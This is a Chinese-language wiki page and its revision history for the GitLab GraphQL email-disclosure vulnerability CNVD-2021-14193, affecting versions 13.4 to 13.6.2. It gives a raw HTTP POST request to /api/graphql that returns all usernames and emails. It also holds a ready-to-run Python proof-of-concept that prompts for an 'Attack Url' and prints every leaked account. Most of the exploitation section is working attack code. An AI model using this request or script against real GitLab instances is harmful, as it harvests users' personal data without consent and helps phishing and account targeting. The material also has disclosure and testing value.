GitLab Graphql郵箱信息洩露漏洞 CNVD-2021-14193/zh-cn - Revision history

L0snight: Created page with "==参考=="

2021-05-31T02:22:01Z

Created page with "==参考=="

L0snight: Created page with "成功返回数据，造成Gitlab的用户邮箱信息泄露。"

2021-05-31T02:21:49Z

Created page with "成功返回数据，造成Gitlab的用户邮箱信息泄露。"

L0snight: Created page with "完整数据包为："

2021-05-31T02:21:27Z

Created page with "完整数据包为："

L0snight: Created page with "发包调用了`/api/graphql`接口发送数据"

2021-05-31T02:21:11Z

Created page with "发包调用了<code>/api/graphql</code>接口发送数据"

L0snight: Created page with "查看完报告后发现漏洞利用需要有账号用户名，在不知道的情况下无法取得邮箱，在Graphql官网查看得知可以通过另一个构造的语句一..."

2021-05-31T02:21:07Z

Created page with "查看完报告后发现漏洞利用需要有账号用户名，在不知道的情况下无法取得邮箱，在Graphql官网查看得知可以通过另一个构造的语句一..."

L0snight: Created page with "Gitlab本身不允许获取账号邮箱信息，这里通过调用Graphql用户名查询造成了邮箱泄露漏洞"

2021-05-31T02:20:28Z

Created page with "Gitlab本身不允许获取账号邮箱信息，这里通过调用Graphql用户名查询造成了邮箱泄露漏洞"

L0snight: Created page with "==漏洞利用== 请求URL:"

2021-05-31T02:18:46Z

Created page with "==漏洞利用== 请求URL:"

New page

<languages />

==影响版本==

GitLab 13.4 - 13.6.2

==漏洞利用==
请求URL:
<pre>
http://xxx.xxx.xxx.xxx/-//graphql-explorer
</pre>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
Gitlab本身不允許獲取賬號郵箱信息，這里通過調用 Graphql 用戶名查詢造成了郵箱洩露漏洞
</div>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
查看完報告後發現漏洞利用需要有賬號用戶名，在不知道的情況下無法獲取郵箱，在Graphql官網查看得知可以通過另一個構造的語句一次性返回所有的用戶名和郵箱
</div>
<div lang="chinese" dir="ltr" class="mw-content-ltr">
發包調用了<code>/api/graphql</code>接口發送數據
</div>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
完整數據包為:
</div>
<pre>
POST /api/graphql HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 212
Content-Type: application/json

{"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null}
</pre>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
成功返回數據，造成 Gitlab的用戶郵箱信息洩露。
</div>

==POC==
<pre>
import requests
import sys
import random
import re
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print('+--------------WgpSec--Team----------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mVersion: GitLab 13.4 - 13.6.2 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')

def POC_1(target_url):
vuln_url = target_url + "/api/graphql"
user_number = 0
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/json",
}
try:
data = """
{"query":"{\\nusers {\\nedges {\\n node {\\n username\\n email\\n avatarUrl\\n status {\\n emoji\\n message\\n messageHtml\\n }\\n }\\n }\\n }\\n }","variables":null,"operationName":null}
"""
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data ,verify=False, timeout=5)
if "email" in response.text and "username" in response.text and "@" in response.text and response.status_code == 200:
print('\033[32m[o] 目标{}存在漏洞, 泄露用户邮箱数据....... \033[0m'.format(target_url))
for i in range(0,999):
try:
username = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["username"]
email = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["email"]
user_number = user_number + 1
print('\033[34m[o] 用户名:{} 邮箱:{} \033[0m'.format(username, email))
except:
print("\033[32m[o] 共泄露{}名用户邮箱账号 \033[0m".format(user_number))
sys.exit(0)
else:
print("\033[31m[x] 不存在漏洞 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)

if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)
</pre>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
==參考==
</div>
https://mp.weixin.qq.com/s/3cT8d9I7qru2tsURqUDusw

https://gitlab.com/gitlab-org/gitlab/-/issues/244275

← Older revision		Revision as of 02:21, 31 May 2021
Line 27:		Line 27:
	</pre>		</pre>

−	~~<div lang="chinese" dir="ltr" class="mw-content-ltr">~~	+	成功返回数据，造成Gitlab的用户邮箱信息泄露。
−	~~成功返回數據，造成 Gitlab的用戶郵箱信息洩露。~~
−	~~</div>~~

@@ Line 85: / Line 85: @@
-<div lang="chinese" dir="ltr" class="mw-content-ltr">
+==参考==
 https://mp.weixin.qq.com/s/3cT8d9I7qru2tsURqUDusw
 https://gitlab.com/gitlab-org/gitlab/-/issues/244275

@@ Line 16: / Line 16: @@
 发包调用了<code>/api/graphql</code>接口发送数据
-<div lang="chinese" dir="ltr" class="mw-content-ltr">
+完整数据包为：
 <pre>
 POST /api/graphql HTTP/1.1

@@ Line 13: / Line 13: @@
 Gitlab本身不允许获取账号邮箱信息，这里通过调用Graphql用户名查询造成了邮箱泄露漏洞
-<div lang="chinese" dir="ltr" class="mw-content-ltr">
+查看完报告后发现漏洞利用需要有账号用户名，在不知道的情况下无法取得邮箱，在Graphql官网查看得知可以通过另一个构造的语句一次性返回所有的用户名和邮箱
 <div lang="chinese" dir="ltr" class="mw-content-ltr">
 發包調用了<code>/api/graphql</code>接口發送數據